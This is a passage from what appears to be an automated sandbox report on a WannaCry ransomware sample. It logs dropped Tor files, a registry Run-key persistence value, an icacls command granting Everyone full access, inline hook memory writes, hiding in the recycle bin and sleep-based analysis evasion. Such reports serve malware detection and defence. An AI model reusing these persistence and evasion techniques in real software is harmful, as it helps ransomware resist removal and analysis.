                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeFile created: C:\Users\user\Desktop\TaskData\Tor\tor.exeJump to dropped file
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeFile created: C:\Users\user\Desktop\TaskData\Tor\zlib1.dllJump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\Desktop\u.wnryJump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\~SD944F.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\~SD9450.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Java\~SD9451.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\~SD9636.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\~SD9637.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\~SD96D9.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\~SD96DA.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessibility\~SD96DB.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessories\~SD96DC.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Administrative Tools\~SD96ED.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\AutoIt v3\~SD96EE.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\AutoIt v3\Extras\~SD96EF.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Java\~SD96F0.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Maintenance\~SD96F1.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\StartUp\~SD96F2.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\System Tools\~SD96F3.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Windows PowerShell\~SD96F4.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\~SD9868.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\~SD9869.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Accessibility\~SD986A.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Accessories\~SD986B.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Administrative Tools\~SD986C.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\AutoIt v3\~SD986D.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\~SD986E.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Java\~SD986F.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Maintenance\~SD9870.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\StartUp\~SD9871.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\System Tools\~SD9872.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\~SD9873.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\~SD9ACB.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\~SD9ACC.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessibility\~SD9ACD.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessories\~SD9ACE.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessories\System Tools\~SD9ACF.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Administrative Tools\~SD9AD0.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\AutoIt v3\~SD9AD1.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\AutoIt v3\Extras\~SD9AD2.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\AutoIt v3\Extras\AutoItX\~SD9AD3.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Java\~SD9AD4.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Maintenance\~SD9AD5.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Microsoft Office Tools\~SD9AD6.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\StartUp\~SD9AD7.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\System Tools\~SD9AD8.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Windows PowerShell\~SD9AE8.tmpJump to behavior
                  Source: C:\Windows\SysWOW64\reg.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run vfwrglgamdagtoq456
                  Source: C:\Windows\SysWOW64\reg.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run vfwrglgamdagtoq456

                  Hooking and other Techniques for Hiding and Protection

                  barindex
                  Icon mismatch, binary includes an icon from a different legit application in order to fool users
                  Source: initial sampleIcon embedded in binary file: icon matches a legit application icon: download (16).png
                  Creates files in the recycle bin to hide itself
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\$Recycle.Bin\~SD92CD.tmpJump to behavior
                  May use the Tor software to hide its network traffic
                  Source: @WanaDecryptor@.exe, 00000013.00000003.2594309652.00000000028BF000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpBinary or memory string: onion-port
                  Overwrites code with unconditional jumps - possibly settings hooks in foreign process
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeMemory written: PID: 5892 base: 77F30005 value: E9 4B B9 E8 FF Jump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeMemory written: PID: 5892 base: 77DBB950 value: E9 4B AF 65 88 Jump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeMemory written: PID: 5892 base: 77F30017 value: E9 0C 8C ED FF Jump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeMemory written: PID: 5892 base: 77E08C20 value: E9 0B DD 60 88 Jump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeMemory written: PID: 5892 base: 777C0005 value: E9 BB 74 ED FF Jump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeMemory written: PID: 5892 base: 776974C0 value: E9 EB F2 D7 88 Jump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeMemory written: PID: 5892 base: 777C0014 value: E9 AC EA EF FF Jump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeMemory written: PID: 5892 base: 776BEAC0 value: E9 7B 7D D5 88 Jump to behavior
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_004067F0 IsIconic,#470,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,#755,#2379,19_2_004067F0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_004067F0 IsIconic,#470,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,#755,#2379,22_2_004067F0
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00CEDBFC GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,puts,exit,__stack_chk_fail,23_2_00CEDBFC
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Windows\SysWOW64\icacls.exe icacls . /grant Everyone:F /T /C /Q
                  Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX

                  Malware Analysis System Evasion

                  barindex
                  Contains functionality to detect sleep reduction / modifications
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_0040D30019_2_0040D300
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_0040D4C019_2_0040D4C0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_0040D30022_2_0040D300
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_0040D4C022_2_0040D4C0
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeWindow / User API: threadDelayed 1508Jump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeWindow / User API: threadDelayed 7249Jump to behavior
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeDropped PE file which has not been started: C:\Users\user\Desktop\TaskData\Tor\libevent_extra-2-0-5.dllJump to dropped file
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeDropped PE file which has not been started: C:\Users\user\Desktop\TaskData\Tor\libevent_core-2-0-5.dllJump to dropped file
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeEvaded block: after key decisiongraph_19-5405
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeEvaded block: after key decisiongraph_22-4667
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeEvaded block: after key decisiongraph_22-5519
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeAPI coverage: 8.6 %
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeAPI coverage: 3.5 %
                  Source: C:\Users\user\Desktop\n397UdH3b5.exe TID: 4652Thread sleep time: -90000s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exe TID: 4324Thread sleep time: -60000s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exe TID: 3412Thread sleep count: 1508 > 30Jump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exe TID: 3412Thread sleep time: -1508000s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exe TID: 6272Thread sleep count: 7249 > 30Jump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exe TID: 6272Thread sleep time: -21747000s >= -30000sJump to behavior
                  Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                  Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
                  Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
                  Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
                  Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
                  Source: C:\Users\user\Desktop\taskse.exeLast function: Thread delayed
                  Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
                  Source: C:\Users\user\Desktop\taskse.exeLast function: Thread delayed
                  Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
                  Source: C:\Users\user\Desktop\taskse.exeLast function: Thread delayed
                  Source: C:\Users\user\Desktop\taskdl.exeCode function: 6_2_00401080 GetDriveTypeW,Sleep,swprintf,swprintf,FindFirstFileW,swprintf,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z,?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,FindNextFileW,FindClose,DeleteFileW,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,DeleteFileW,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,6_2_00401080
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_004080C0 __p___argv,FindFirstFileA,fopen,fread,sscanf,fopen,fread,fclose,FindNextFileA,FindClose,sprintf,#537,#537,19_2_004080C0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_00403CB0 FindFirstFileA,SendMessageA,SendMessageA,sscanf,fopen,fread,sprintf,SendMessageA,#823,SendMessageA,fclose,FindNextFileA,FindClose,19_2_00403CB0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_004026B0 swprintf,FindFirstFileW,#825,#825,wcscmp,wcslen,wcscmp,wcscmp,swprintf,GetFileAttributesW,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,wcscmp,wcscmp,wcscmp,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,FindNextFileW,FindClose,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,swprintf,swprintf,DeleteFileW,swprintf,DeleteFileW,#825,#825,19_2_004026B0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_004080C0 __p___argv,FindFirstFileA,fopen,fread,sscanf,fopen,fread,fclose,FindNextFileA,FindClose,sprintf,#537,#537,22_2_004080C0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_00403CB0 FindFirstFileA,SendMessageA,SendMessageA,sscanf,fopen,fread,sprintf,SendMessageA,#823,SendMessageA,fclose,FindNextFileA,FindClose,22_2_00403CB0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_004026B0 swprintf,FindFirstFileW,#825,#825,wcscmp,wcslen,wcscmp,wcscmp,swprintf,GetFileAttributesW,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,wcscmp,wcscmp,wcscmp,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,FindNextFileW,FindClose,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,swprintf,swprintf,DeleteFileW,swprintf,DeleteFileW,#825,#825,22_2_004026B0
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00D4843C FindFirstFileA,free,strcmp,strcmp,FindNextFileA,GetLastError,free,FindClose,free,__stack_chk_fail,23_2_00D4843C
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00D38B20 memset,GetSystemInfo,GetSystemInfo,__stack_chk_fail,23_2_00D38B20
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeThread delayed: delay time: 30000Jump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeThread delayed: delay time: 30000Jump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Adobe\~SD9359.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\~SD9358.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Adobe\ARM\~SD9356.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Adobe\~SD9355.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\~SD9354.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Adobe\Temp\~SD9357.tmpJump to behavior
                  Source: taskhsvc.exe, 00000017.00000003.4680309516.0000000001844000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000017.00000003.4666038553.000000000406D000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000017.00000003.4662280725.000000000392C000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: m hHgWBXxmBld9Pd1x0gyqTGRqEMU9WOiExV+OwcZlhP8
                  Source: @WanaDecryptor@.exe, 0000001F.00000002.6584746973.0000000000603000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllk
                  Source: @WanaDecryptor@.exe, 00000013.00000002.6584880945.0000000000703000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll~
                  Source: @WanaDecryptor@.exe, 00000016.00000002.2678280826.0000000000487000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 00000016.00000003.2677727539.0000000000487000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000017.00000002.6587759349.000000000154E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeAPI call chain: ExitProcess graph end nodegraph_19-4684
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeAPI call chain: ExitProcess graph end nodegraph_19-4727
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeAPI call chain: ExitProcess graph end nodegraph_19-4738
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeAPI call chain: ExitProcess graph end nodegraph_19-5334
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeAPI call chain: ExitProcess graph end nodegraph_22-4733
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeAPI call chain: ExitProcess graph end nodegraph_22-4750
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeAPI call chain: ExitProcess graph end nodegraph_22-5467
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess information queried: ProcessInformationJump to behavior

